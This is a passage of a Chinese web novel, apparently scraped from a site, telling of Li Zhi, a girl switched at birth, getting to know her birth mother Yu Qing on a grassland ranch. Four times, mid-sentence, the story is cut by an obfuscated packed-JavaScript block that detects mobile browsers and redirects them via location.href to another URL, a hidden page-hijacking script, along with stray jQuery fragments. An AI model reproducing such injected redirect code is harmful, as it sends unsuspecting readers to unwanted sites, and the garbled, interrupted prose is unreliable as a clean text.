话说,这里真的算是“住宅”吗? 用稍显涣散的精神观察四周的时候,黎芝总感觉哪里有些怪,很有违和感。 比如说,这里连个看起来像是“厨房”的屋子都没有。 要如何在这里或附近做饭呢?对黎芝来说,很难想象。 难道是在院子里做饭的? 外面某处不起眼的地方,摆着一个形状看起来很陌生、古怪的“炉子”。 在黎芝看来,炉子的外观,就像是哪里捡来的旧货似的。而且,也没有在这几天使用的痕迹。 平时不使用炉子的时候,就这么直接露天地放在院子里吗? 这岂不是,要被风吹、日晒、雨淋……不担心炉子因此损坏吗? 不,这么想也可能多虑了。 这炉子是做什么用的呢…… 从炉子有些积灰的外观看来,这个炉子说不定只是装饰品而已。 与其说是用来从事烹饪工作的厨具,不如说是个气派的大摆件而已。 至少,精神有些发呆涣散的黎芝,看不明白这炉子的用途。 也许是因为,她太不清醒了。再清醒、有集中力一些的话,判断力可能会有所不同。 黎芝正在如此无所事事的时候,总算听到余庆骑着马回来了。 “妈妈!”黎芝很高兴,轻快地如此呼唤道。 “你在做什么呢?”看到黎芝明明无所事事,却显得有些忙碌的样子,余庆好奇地问道,“是要找什么‘玩具’来玩吗?” “玩具?”余庆突兀的话,让黎芝无法理解,她问道,“妈妈这里还有‘玩具’这种东西吗?” “那当然啊。”余庆很自然地说道。 “真的吗?那么,妈妈,这里有什么玩具啊?”黎芝满怀期待地问道。 “举凡这天地之间出产的、能摆弄玩耍的新鲜玩意儿,不都是‘玩具’吗?”余庆说道,“你觉得呢?我说的对不对啊?” “这个,我也不太清楚了……”看来与自己所期待的并不一致,黎芝有些困惑,她说道,“至少,我还没看到像‘玩具’的东西呢。” “那算就啦。”余庆说道,“以后有机会的话,给你看看我们这里的‘玩具’好了。” “好,谢谢妈妈。”黎芝又问道,“妈妈,你刚才去取的,是什么东西啊?” “刚才,我去老吴家要了三斤羊肉。”余庆说道,“你好容易回家来,应当做点好吃的。” “要了三斤羊肉?”黎芝有些听不懂余庆的意思,只得重复了一遍表示自己正在听着。 “是啊,怎么了?”余庆也不明白黎芝的意思,她问道,“你觉得太少了吗?但我感觉,这些已经不少了啊。就算家里有三四口人,一次用三斤羊肉烹调也是不少的吧。” “三四口人分三斤羊肉吗……”黎芝喃喃地嘟囔了一下。 也许是因为,曾经在富豪家长大的缘故吧?黎芝倒是不觉得“一人一斤左右羊肉”的分配,是很理想的配额。 不过,倒也不至于很寒酸就是了。 “嗯,就是‘三四口人分三斤羊肉’了。”余庆说道。 (说起来,为什么是“三四口”人呢?在妈妈的认知里,大于等于三但小于五的人数,统称“三四”吗?) “那真奇怪。”黎芝唐突地说道,“妈妈,我想知道一件事情。” 这件事情明明是如此显眼、醒目、难以忽视,但不知道为什么,黎芝之前就是没有想到。 直到现在才想起来。 “说吧。”余庆似乎很困惑地问道,“为什么这种事情还要欲言又止呢?你不用把自己当外人的。” “咱们家……几口人啊?”黎芝疑惑地问道。 “三口吧。”余庆轻描淡写地说道,“既然是‘三四口人分三斤羊肉’的话,那自然就是三口人了。不过,偶尔会多上一个人来做客就是了。比如今天,说不定也会多一可人呢。” “三口人,是哪三口人啊?”黎芝又再认真地问道。 “你。我。你爸爸。”余庆看向黎芝问道,“这么简单的事情,你也要问我才能明白吗?这真是奇怪了,我还以为你很聪明呢。” “是啊,妈妈,我忽然觉得很奇怪。”黎芝说道,“难道,我是没有兄弟姐妹的吗?家里就我一个孩子啊?” “如果我之前那个‘干儿子’不算‘家里的孩子’的话,那你就没有兄弟姐妹了。”余庆点点头,如此说道,“一个人也挺好的,不用跟别的孩子争抢。” 黎芝大概知道,余庆口中说的“干儿子”,就是她之前养育的孩子。 那是与黎芝同年同月同日生的人,也是黎家真正的“少爷”。 他会在栗原与余庆的家中长大的原因,是因为某无良医院的无良产科医生,收了之前被黎芝唤作“叔叔”的人家的黑心钱。 之后,引出了医生把牧民家的女儿,与富豪家的儿子给对调了的结果。 大夏的社会风气,虽然比起过去已经开明许多了,但总的来说,依然十分封建。 女孩子不是完全没有继承权,但很多人家还是会选择让男子继承家业。 黎芝以前的“叔叔”一家,一定是打着这样的算盘吧。 颇为阴险的“叔叔”,存心针对头胎生育时间本就比兄弟们更晚的黎芝家。 由于女主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923696|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人顺利地生下了男孩,所以要设法偷换成女孩。 这样下去,如果黎芝家一直没有生长子的话,可以想见,那要么是招赘、要么是过继一个兄弟或远亲家的男孩当儿子的结果。 偏巧,黎芝的成长过程中,在黎家本就不怎么讨好,会继承家业的可能性很低。 可以说,黎芝家的家产,本来有很大可能性,会落入到黎芝的叔叔们手里的。 而那个无良的医生,过去许多年里,应该也没少做这样的事情吧?坑害了也不知道多少人。 然而,“常在河边走,哪有不湿鞋的?”那个医生偏偏就在不久前败露了。 因此,他为了脱责,反而干出了“说出自己过去许多罪名”的傻事。 其中就包括了,黎家的孩子与栗原家的孩子,碰巧被调换这件事。 这个消息一传出,黎家立刻就决定去寻找寄养在栗原家的儿子了。而且,从一开始就准备尽快接这位“真正的少爷”回家。 而黎芝这个本来就不怎么讨好的女孩子,自然在黎家就没了存在的立场。 如果是一开始就备受宠爱地长大的话,黎芝或许还能相信,养父母会念着养育自己长大多年的亲情。 也能相信继续留在这个家里,自己也不会被随意苛待。 但是,根据自己多年来在黎家的生活感受……黎芝觉得,继续待在这里,不说“凶多吉少”吧,也肯定是没有什么前途未来的。 总而言之,应该没什么好事。 比起被动等待未知的结果,黎芝认为,应该在自己有办法决定去留、还是自由身的情况下,先离开这里比较好。 产生了“此地不可久留”这样的信念之后,黎芝就决定要尽早行动。 茫茫人海,天地之大,竟然没有自己的容身之所。 黎芝之前是这么想的,她对此相当无奈。 自己该去哪里呢?答案很快就进入了黎芝的脑海。 既然黎家真正的少爷被接回来了……那么,他的养父母、也就是黎芝的生身父母,应该会感到很孤单吧? 只不过,他们没有能力派车或专门来接走黎芝而已。 但是,黎芝可以自己想办法去找他们啊。 在生身父母的家里,也许可以获得真正的、被接纳的感觉吧。 虽然对这个猜想并不能非常肯定,但黎芝仍然抱着虚无的希望,踏上了未知的旅程。 虽然,黎家在接真少爷回家的时候,是很有排场地以车队形式上路的没错。 但是,黎芝离开的时候,可就没有这么好的待遇了。 会去送送黎芝的车,根本就没有。 黎芝能艰难地从京城辗转来到大辉山这里,完全是她运气足够好的结果罢了。 现在回想起来,黎芝也觉得自己的运气真的是太好了。 偏偏、刚好就有一支商队,要从京城到大辉山附近经商。 而且,路过的地方刚好离黎芝要去的栗原家很近。 更重要的是,这支商队又恰恰是愿意顺便搭客,赚点小钱的。 13. 第 13 章 这样的一支商队,黎芝与他们做了“付费搭车”的交易。 好几天好几夜,几乎没合眼地就这样旅行而来了。 如果没有这一支商队的话,黎芝仅仅靠自己的力量来到大辉山,那几乎是不可能的事情了。 但是,黎芝决定离开京城的时候,学校刚巧正在放假的阶段。 就算想通知朋友们自己的去处,黎芝也没有办法做到。 因为,黎芝几乎是不去朋友的家里做客的。 因此,要寻找朋友们的家,这对她来说太耗时与困难了。 为了不错过这支商队,黎芝只能无奈地放弃了与同学、朋友们的告别。 这可能是,黎芝离去时最大的遗憾之一了。 虽然觉得很是遗憾,但其实,对黎芝来说,非常重要的人,本来也没有几个。 甚至可以说,就是因为几乎没什么非常重要的人,黎芝才能这么轻易地决定离开的。 只有秋墨是不一样的。 即使黎芝离开了京城,也会一直想念着他。 虽然,两人的关系其实也没有特别良好,甚至可以说算得上“不熟”。 但是,黎芝还是在潜意识中认为,秋墨对她来说,是特别的人。 而且,某种意义上说,黎芝对秋墨来说,也一定是特别的人吧? 虽然秋墨从来没这么对黎芝说过,但黎芝还是莫名地觉得,自己这么想,是没有什么问题的。 匆匆忙忙地赶到了大辉山之后,黎芝在这里待了几个时辰。 之后,她发现了一个之前一直被自己漏掉的疑惑。 此时,既然已经确定,黎芝就想对此发问出来了。 “为什么……我会没有兄弟姐妹啊?”黎芝迷惑地问道。 虽然迄今为止的黎芝,都是过着独生女的生活,已经习惯了没有兄弟姐妹的生活方式。 但黎芝真没有想到,就连自己的生身父母,竟然也没有生下兄弟姐妹来,这感觉就有些诡异了。 幸好,黎芝之前当机立断来了栗原与余庆的家。 不然的话,自己的生身父母岂不是要一直过着孤寂、老无所依的生活吗? 黎芝想到这种可能性,简直感到有些后怕。 “大概是命吧。”余庆听了黎芝这个问题之后,罕见地深深叹了口气,她说道,“你是我的第一个孩子嘛。生了你之后,我没再怀上别的孩子。所以,就没有生你的弟弟妹妹呗。” “真的是这个原因吗?”黎芝担忧地问道,“妈妈的身体好吗?” 在黎芝不知道是否正确的记忆里,好像有很多人在生育之后就伤了根本,以后都没有再生育的能力了。 “你是担心……我当年留下了什么‘后遗症’吗?”余庆眯起眼睛,说道,“如果是担心这个的话,那你大可不必。我的身体非常健康,只是碰巧没有再怀孩子罢了。” 从余庆表现出来的体力来看,黎芝是相信这一点的。 余庆确实看起来很健康、强壮,应该并不是为了安慰黎芝才这么说的。 “这样啊……”黎芝点了点头。 相比她所想的最糟糕的情形,真相还比较好一些。 不过,如果栗原与余庆家真的没有别的孩子的话,那还是满麻烦的呢。 黎芝最容易想到的麻烦是,草原、牧场上的劳动大部分都适合男性来做,而女孩子就相对不那么适合了。 黎芝虽然是个健康而有力的女孩子,但却对这种“农活”一窍不通,关于能否胜任的这方面,黎芝也有些不安。 除此之外,最重要的就是财产继承之类的问题了吧。 这种事情,确实比劳动的话题要严肃和现实得多,也是黎芝更为担心的事情。 栗家会“招赘”吗?想到这里,黎芝就有点发愁。 无论怎么去想,会愿意当赘婿的人,很可能并不是黎芝喜欢的人吧。 算了,结婚这种事情还早着呢。 现在,黎芝还是先关心如何与父母好好过日子吧。 “我会努力代替‘那个人’照顾妈妈的。”黎芝认真地说道。 由于黎芝实在不知道该怎么称呼母亲的养子的关系,她只能笨拙地对其称之为“那个人”了。 算是兄弟吗?但素未谋面,也没有血缘关系。 哥哥是比自己年纪大的人,弟弟是比自己年纪小的人,同年同月同日同时生的人该算什么呢? 笼统地称之为“兄弟”,虽然倒也并无不可。 但是,黎芝对那个人实在是没有半分感情可言,也不太清楚生身父母对其的态度。 “谢谢你啦。”余庆笨拙地说道。 不知为何,黎芝宣称“要照顾妈妈”之后,余庆反而表现得比较为难,似乎并不怎么高兴的样子。 可能是自己低估了照顾“栗家”的难度吧?黎芝想到这里,又开始烦恼起来。 黎芝甚至连父母的份也一起烦恼着。她在想象父母此时的感受。 养育了十多年的儿子,突然被更换为素未谋面的女儿,这感觉一定很糟糕吧。 更何况,黎芝过去都是娇生惯养地长大,对牧场里的农活一无所知。真的能帮上什么忙吗?黎芝自己对此都十分不乐观。 但是,总而言之,自己一定会努力学习这方面的事情的,黎芝再度如此决定。 “妈妈不用对我说谢谢的。”黎芝扭捏地说道,“虽然,我们还不是很熟,但是,我们终究血脉相连。我是爸爸妈妈的女儿,就一定会尽量做到女儿能做到的事情的。” “你……”之前,余庆欲言又止了好久;此时的余庆,终于认真地想开口了。 虽然余庆只说了一个字就停了下来,但黎芝还是注意到了这点巨大的进步。 “妈妈想和我说什么?”黎芝柔声说道,“妈妈是想对我说出心里的话吗?我知道的,这并不容易。但是,妈妈可以在想好之后说啊。” “我很高兴。”直到此时,余庆才第一次露出了作为母亲才应有的、真诚的笑容。 “诶?”黎芝没有反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923697|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来余庆想说什么,只得问道,“为什么妈妈突然很高兴呢?想到了什么好事吗?” “确实是好事啊。”余庆慈爱地说道,“我没想到你是这么好的一个孩子。” “什么?妈妈你说的是什么意思啊……”黎芝的脸热了起来,她自言自语一般地说道,“我真的很好吗?就连我自己,还没有发现好在哪里呢……” “非常好啊。我从一开始见面就很喜欢你了。”余庆说道,“我当时在想,这么美丽的女孩子,要是我的女儿该多好啊。” “啊?真的吗?”黎芝有些惊讶。 最初,她可并没有察觉到余庆有这样的想法。 要评价黎芝的容貌的话,那确实算是十分漂亮的美人。 但是,黎芝来认亲的时候,却是没有想过,自己竟然会因为容貌博得母亲的好感。 “是真的。”余庆又再说道,“结果,真的知道你就是我的女儿的时候,我反而害怕起来。这太巧了,感觉就像‘塞翁失马焉知非福,失而复得焉知非祸’一样。如果你是我的女儿,这个愿望被满足了,那会索取什么代价、产生什么不好的后果吗?我感到很不安。” “不,我只是妈妈获得的‘补偿’,怎么会需要付出‘代价’啊。”黎芝温声说道,“而且,妈妈是很漂亮的。虽然我大概长得很漂亮吧,但像妈妈这样的人,有我这样的女儿,不是理所当然的吗?” 说罢,黎芝自然而然地嫣然一笑。 虽然,这个笑容看起来似乎有些妩媚过头了,但在黎芝的心中,却的确发自内心,那是纯正的天然感受。 “我哪能算是漂亮啊!和你看起来根本不像母女吧?”余庆自嘲一般地说道,“我哪里能和你比呢?顶多是‘老蚌出明珠’罢了。” “不,我长相也许比较清秀白皙吧。但是,这是因为‘养尊处优’的缘故啊。”黎芝认真地说道,“如果妈妈也能‘养尊处优’地生活的话,也一定是个‘出众的大美人’啊。” 黎芝所说的,实在并不是纯粹的违心之言。 可能因为劳动太多、皮肤粗糙而不够白皙的原因,余庆并非是那种一目了然的大美女。 但是她那浓眉大眼、舒展的五官与健美的身材,却充满了近乎野性的明艳魅力。 由于黎芝的神情与语气十分真诚的缘故,余庆也不由得相信了女儿的话的确发自真心。 于是,余庆的神情态度不由得轻松了起来,似乎是认同了黎芝的评价,感到有些快乐。 “你原来的爸爸妈妈……是什么样子的人呢?”松弛下来之后,余庆如此问道。 “还……还可以吧。”黎芝严肃地说道,“我不是很想说他们的坏话。不过,说真的,感觉他们是比较冷漠严苛的人。” (他们没有很坏,只是不好而已……) 回忆起以前的家,黎芝稍稍感到有些不快乐,但也仅仅是“稍稍感到”而已。 “冷漠严苛?”余庆敏锐地捕捉到了黎芝语言中的负面内容,她问道,“他们对你很不好吗?” 14. 第 14 章 被母亲关心自己的过去,这让黎芝产生了类似感激的喜悦心情。 但很快,她又为“自己会令人担心”这件事,而不安、内疚起来。 (幸好,虽然不是很好,但还没有差到不能说实话的程度……) “他们没有对我‘特别不好’啦。”黎芝柔和地微笑道,“毕竟,虽然我不是很出色,但还算是个温和懂事的省心孩子吧。只要评价标准不是太苛刻的话,都会对我不那么挑剔的吧。大概。” 其实,黎芝并不太符合一般人印象中、老实温顺的性格,相反,还因为洁癖而显得有些挑剔。 不过,因为社交圈子里的其他人,要多事、刁钻、任性得多的关系,黎芝就被衬托得知书达礼起来了。 虽然被包括老师在内的很多人评价为“温良恭俭让”的性格,但黎芝反而觉得,自己的性格是非常普通、没什么特色的类型。 可能因此才会被夸赞“温良恭俭让”吧?对于没什么特色的人,可能也只有夸赞“温柔善良”这一类的词,最为保险了。 被夸赞“温良恭俭让”或是“温柔善良”的时候,有些人会生气,但黎芝听了却是不会在意。 虽然并没有多高兴,但她肯定不会因此觉得生气。 也许,这样的反应正说明,黎芝确实是个温柔善良的孩子吧。 也许因为这样的原因,黎芝在原本那个家里生活的时候,虽然并不出色、不是养父母的骄傲,但倒也没有遇到过诸如歧视、虐待之类的事情。 在学校与别的社交圈子里的时候,也是这样。 虽然黎芝养父母的家庭,在黎芝所在的圈子里,阶级仅仅是中等水平,而黎芝的性格与其他人相比也总是有点格格不入的感觉。 但不可思议的是,大部分人对黎芝都是相当友善的,并没有人欺凌或是刻意疏远她。 黎芝就是在这样自己都觉得有些不合理的环境与状态下长大的。 而且,尽管是身份有些尴尬的独女,但黎家夫妻也没有因此对黎芝抱怨、不满的意思。 回想起来的时候,黎芝觉得,如果不出现某种意外的话,自己也许甚至不会被强制要求招赘或是联姻,而会同意由她来选择喜欢的人结婚吧。 她目睹到其他独生女的命运,往往是招赘或是过继养子,看起来非常不自由。 相比起来,黎芝觉得自己过得已经很自由和幸福了。 “真的是这样吗?那就是说……你过得还好吗?”听了黎芝的话,余庆有点迷茫,似乎不太信任黎芝的澄清。 (妈妈好像不太相信我的话呢……赶快想一些能让她转移注意力的话题吧。) 黎芝快速思索着如何转移话题,她也很快想了一个新的话题出来。 “对啦,我还想说……我以前的‘家长’,没有妈妈好看。”黎芝愉快地说道,“我的养母,虽然是世人眼里的美女,但并不是我心中的美女。妈妈才是呢!” “这是真的吗?”余庆惊喜得近乎兴奋地说道,“你真的认为我比她漂亮吗?” 也许黎芝的外表看起来确实像是“老实人”的关系吧? 即使在刚相见没多久的余庆耳中,黎芝的话语,似乎也充满了说服力。 “是真的哦。妈妈。”黎芝说道,“妈妈看起来十分阳光健康,性格也是热情、充满活力的。我的养母却是比较冷漠的性格,家里的气氛也不怎么好。在妈妈面前,我觉得自己轻松多了。” 说自己养父母的坏话,实在不是黎芝喜欢的事情。 但说真的,黎芝的养母,性格与其说是“冷漠”,倒不如说是“阴沉”而又“做作”。 黎芝已经很努力地用比较正面或中性的词汇来形容她了。 虽然这么说有些奇怪,但对自己的“第一任母亲”,完全没有感情、毫不依恋也是不可能的。 只不过,相比起来,在余庆面前,确实要比在过去那个家里的感觉轻松多了。 感觉上,就像是戴惯了的某种“枷锁”或“镣铐”被解脱下来了一样。 对黎芝来说,在余庆面前萌生的“放松感”,真是以前她从未想过的体验。 “这样啊。”余庆高兴地点点头,但依然有些不安地问道,“这么说来……这么多年了,你到底过得好不好呢?” “嗯,应该‘不算好’吧。”黎芝想了想,又再补充说道,“但也不算坏,和普通人差不多吧。妈妈如何呢?” “大概和你一样。”余庆点了点头说道,“不算好也不算坏。中规中矩吧。差不多就是那样呢。” “总的来说,我对自己的生活,还是挺满意的。”黎芝有些羞涩地说道,“我本来也没有什么太大的野心,只想好好度过一生而已。平安健康就好了。荣华富贵这种事情,本就如浮云一般,可有可无。” “平安健康,其实也不是什么容易的事情啊。”余庆笑着说道,“但是,真希望我的女儿一生平安健康快乐。” 余庆此时的音量,明明非常普通。 但在听到余庆的话的时候,黎芝竟然产生了一种类似“振聋发聩”“震耳欲聋”的感觉。 这种感觉就像是,黎芝之前都处于一种类似梦游的状态,神志当然不怎么清醒。 一直到听了余庆的话之后,黎芝才刚刚从梦中醒来一般,感到十分震撼和激动。 黎家夫妻可是不会对黎芝说这种话的。 单纯地希望女儿平安健康快乐?会这么说话的人,对黎芝来说,实在是太另类了,真让她感动。 “谢谢妈妈。”激动过后,黎芝又再说道,“对了,妈妈本来还想跟我说什么吧?抱歉,刚才不小心打断了妈妈本应说出的话呢。” “是的。我确实本来还想和你说别的……”这一次,倒是余庆表现得稍微有点腼腆了,她想了一会儿,才又再说道,“我曾经觉得,像你这样的女孩子,一定无法适应我们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923698|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牧场生活。” 这是实情。黎芝也无法澄清。 甚至可以说,这本来就是黎芝之前担忧的事情,一直到现在,她仍然有些担忧。 融入一个全新的环境,本来就很不容易,黎芝只能让自己努力去适应这种事。 黎芝腼腆地摇了摇头,说道:“这确实不太容易,但一切总得试试再说。” “我还想说……”余庆苦笑着说道,“我一直以为你会挑三拣四,这不满那不满。嫌弃我们和这里,是个非常难‘伺候’的刁蛮千金呢。” “啊?怎么会呢?”黎芝十分惊讶地说道,“妈妈太误解我了吧?我才是一直担心会给爸爸妈妈带来麻烦,又派不上用场呢。” “毕竟……过去在京城长大的大小姐,来到我们这样的乡下,怎么可能过得习惯呢?”余庆摇摇头,很无奈地说道,“这是很容易产生的印象吧?‘大小姐’这一类的人,不是最擅长‘迁怒’和‘找茬’吗?我本来以为,我会遇到一个‘小祖宗’呢。” “并不是所有的大小姐都是妈妈你说的那样啦。”黎芝说道,“大小姐也好,公主郡主也好,平民也好,是否喜欢迁怒找茬,主要取决于人品而不是身份。就算是公主,也有很多温柔平和的人。而性格恶劣的平民,应该也到处都是吧?虽然,我过去的生活中,基本和平民交集不是很大,这些都是我瞎猜的……” (哎,这真是“三十年河东,三十年河西”了。) (我还以为,自己一辈子和平民都不会有很大的交集呢……) 想到这些感慨,黎芝觉得稍微有点讽刺,不过她倒是没有什么因此感到不爽的心情。 “说的也是呢。”余庆说道,“真不愧是,‘我祈祷而来的女儿’啊。” “我不是被妈妈祈祷来的啦。”对余庆的说法感到诡异,黎芝不由得嘟囔一般地说道,“说起来,我会是现在的这个样子……也可能是因为,我血缘上并非大小姐。所以,性格上比较不太‘正宗’吧。” “大小姐的性格,难道真是天生的吗?”余庆很诧异地问道,“难道不是后天训练、环境影响出来的吗?” 余庆的这番话,就让黎芝有些迷茫了。 好像有一些道理。但似乎,对黎芝来说并不适用。 “可是……我本来也应该是大小姐的性格的,为什么处于那种环境中,却没有形成呢?”黎芝疑惑这么问道。 “你应该……只是特例吧?”余庆反问道,“你觉得我说的对吗?” “我觉得,妈妈说的可能不太对……”黎芝犹犹豫豫地说道,“但也许就是特例吧。哎呀,我现在也搞不懂了……” “我呢,在知道我在外面有个女儿,当过十多年的大小姐的时候,就在想,如果她是个通情达理的孩子就好了。”余庆认真地说道,“但我也觉得,这么想过于理想化了。虽然一开始曾经希望你是个温顺乖巧的孩子,但是,到了后期的那段时间……” 15. 第 15 章 “后来我就觉得,你只要不干出每天‘打狗’‘骂鸡’的事情,就很好了。”回想起不久前的往事,余庆苦笑着说道,“说真的,有段时间……我一直,都在担心你是个‘难搞的孩子’啊。幸好,你不是这样呢。” (哎,妈妈对“大小姐”这种人,都抱有怎样的不良印象啊……) 黎芝并没说话,而是羞涩地摇摇头。 其实她也有点无奈,毕竟回想起来,自己所见的大小姐,好像很多性格确实不怎么讨喜。 “总而言之,我过去想的,只是‘一个性格好的孩子’而已。”余庆又再说道,“而长相的问题,我根本都没有考虑过。美丽高雅当然很好,但抱有这些奢望的话,就格外容易失望,所以,我没想这个了。” “嗯,确实,我长得还可以啦。”自吹自擂确实让人不好意思,黎芝露出了由于羞涩而显得可爱的笑容,她说道,“毕竟,我是‘妈妈的亲生女儿’嘛。” 说真的,虽然养父母与养子女之间,也会长得越来越像。 但对比之后,在黎芝的感觉里,这种相似性终究是差了一层的。 最开始见到余庆的时候,黎芝还没有太意识到这一点。 但事到如今,黎芝也越来越觉得,相比自己的养父母黎家夫妻,余庆才确实越看越觉得像是自己的母亲。 就算黎芝在黎家待了十几年,在栗家、余庆面前只待了不到一天,这种“相似性”的对比,依然是如此分明。 虽然并不完美,但黎家的养父母也都不算是很糟糕的人。 至少,以黎芝的观点来看,是“差强人意”的父母了。 但是,黎芝在黎家时,就是会有格格不入的生疏感觉。 即使父母与女儿双方都不知道对方没有血缘关系,但还是总感到熟络不起来。 但当黎芝来到“大辉山”的牧场附近,见到余庆后,经历就与以往的印象完全不一样了。 虽然,黎芝在最初怀疑,余庆不怎么喜欢自己,两人相处时,也一度十分尴尬。 但度过了初期的尴尬时间之后,两人越是相熟,黎芝叫余庆“妈妈”的时候,那热情就越是发自真心了。 虽然,在余庆面前,黎芝不太好意思表现出爱撒娇的那一面,但确实,她仅仅待在对方身边就有种发自内心的亲密感。 这是在京城那个家从未得到的体验。也因此让黎芝觉得十分新奇。 “我哪里该有你这么好的孩子呢……”余庆摇摇头,自嘲般地苦笑道,“我何德何能啊?怎么该有你这么好的孩子呢?” “我不是很好的孩子,只是个普通的孩子罢了。”黎芝感到有些为难,羞涩地说道。 “不,你完全是我幻想中的那样啊。”余庆感慨地说道,“我幻想中的女儿,就是一个温顺乖巧、通情达理的美人。但我本来以为,这种人在世界上是不存在的。” “存在啊。怎么会不存在?”黎芝用力摇了摇头,说道,“虽然,我也做不到与这些特征相符就是了……” “我还没有说完啊。”余庆说道,“但根据我这一段时间的观察,我已经明白了。你完全就是我幻想中那样的孩子。我真的很高兴。” “妈妈的‘幻想’也太容易满足了吧……”黎芝不由得尴尬了起来,她说道,“符合妈妈所说的‘幻想’里的人的孩子,肯定是有很多的。我在大小姐里,性格能力也不算出众的那一种呢。” “你真的已经完全符合我的‘幻想’了。”余庆无奈地摇摇头,说道,“你怎么就不相信我呢?为何要……‘妄自菲薄’,是这么说的吧?” “因为,我确实不像妈妈说的那样梦幻嘛……”黎芝无奈地摇头,然后说道,“算啦,我们不要再聊这个话题了。毕竟,也不是特别有趣。当我聊起来的时候,还会感到难堪……” 余庆正要说话的时候,黎芝又再抢先提出了一个一直挂念的话题。 “妈妈,我们这里有‘邮局’吗?”黎芝说道,“我现在,想‘寄信’给某个人。在我们这里,可以做到吗?” “我不清楚。”余庆想了想,又再补充说道,“我们这里,过去本来都是没有邮局的。” “过去本来就是没有邮局的”是什么意思? 黎芝从余庆的话语中,捕捉到了些许令人迷惑的消息。 因此,她没有打断,而是继续仔细听了下去。 “但并不说明这里没有邮局……”余庆继续说道,“前几年,刚刚‘建设’了一家邮局出来。” 真的有邮局啊…… 虽然感到不安,但在黎芝的心里,短暂地燃起了希望。 不过,由于余庆并没有一口气说完的关系,黎芝对此还是有点担忧。 黎芝总觉得,接下来就要有令人失望的“转折”了。 “我想说的是……”余庆说道,“别说寄信的结果了,我们这里,就几乎没有人会寄信出去。如果你问的只是‘邮局是否存在’这个问题的话,我当然可以斩钉截铁地说‘有’。但你真正需要的,不是‘邮局’而是,‘能与外界通信的地方’吧?如果我直接告诉你,那是邮局,但可能没有‘通信’这一功能的话。你会因此不肯给对方写信吗?还是即使如此也会试一试呢?” “嗯……确实是不太妙啊。我再想一想吧。”黎芝总算明白了余庆的意思,微微感动地点头。 “嗯,如果你明白了我的意思的话,就会知道这个问题,很让人纠结如何回答了。”余庆点点头。 “所以,难道我们这里没有办法寄信、对外面联络是吗?”不甘心地想了想,黎芝又再说道,“或者说,我们可以寄信,但不能太相信,是这个意思吗?” “是这个意思。”余庆无奈地说道,“就是说,如果你写信给别人的话,有一定可能性,会导致你的信被扔掉、或者遭遇其他意外的。你不要太把希望全都寄托在这种事情上面,要想开一些,免得自己失望。寻找退路的话,不要仅仅依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923699|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赖信件啊。” “我不是,为了寻找退路、才写信给别人的啦。”黎芝这时才总算明白了余庆的意思。 大概,余庆是觉得,黎芝写信,是为了让同学帮她找工作、或是借钱之类的事情吧。 但这么做是很未知渺茫的。 余庆不建议黎芝这样用信件求人,应该是这个意思吧。 不过,余庆这么想,虽然感觉上、逻辑上都很合理,但黎芝可真的不是那个意思啊。 黎芝写信给秋墨,也不过是单纯地担心秋墨渐行渐远,日后再没有半点联系的缘故罢了。 如果黎芝写信给秋墨,秋墨收到的话,原本失联的两个人就又能接续起来了。 那大概是皆大欢喜的结果吧。 至少,黎芝怀着这样的心情,想要去相信这方面的奇迹。 “如果你真要寄信的话,就把那封信先交给我吧。”余庆望着黎芝,认真说道。 “啊……这样好吗?”黎芝条件反射一般地、有点紧张起来。 根据黎芝的观察,在京城的家长,如果索要孩子的信件的话,一般来说,多半没安什么好心。 说着“交给他们去寄信”的话,但是多半转身就给扔掉了。 甚至,比扔掉那种事更糟,父母直接把孩子的信件给拆掉偷看了。 当然,这种情况下寄出信,也是不可能的。 至于这么做的结果,那自然也是令人一言难尽。 虽然黎芝没有这样的遭遇,但是黎芝的同学们是有过这样的遭遇的。 因此,黎芝一听到余庆向自己索要信件,就不由得担忧起来了。 但余庆似乎并不懂得黎芝的不安,她只是径直说道:“寄信的地方很远的,你又不会骑马,步行的话,走过去太吃力了。我看你的样子,像是很着急和什么人联络的样子……所以,交给我吧。我肯定不把它弄丢,会设法快点寄走的。” “这样啊……那,谢谢妈妈了。”黎芝说道。 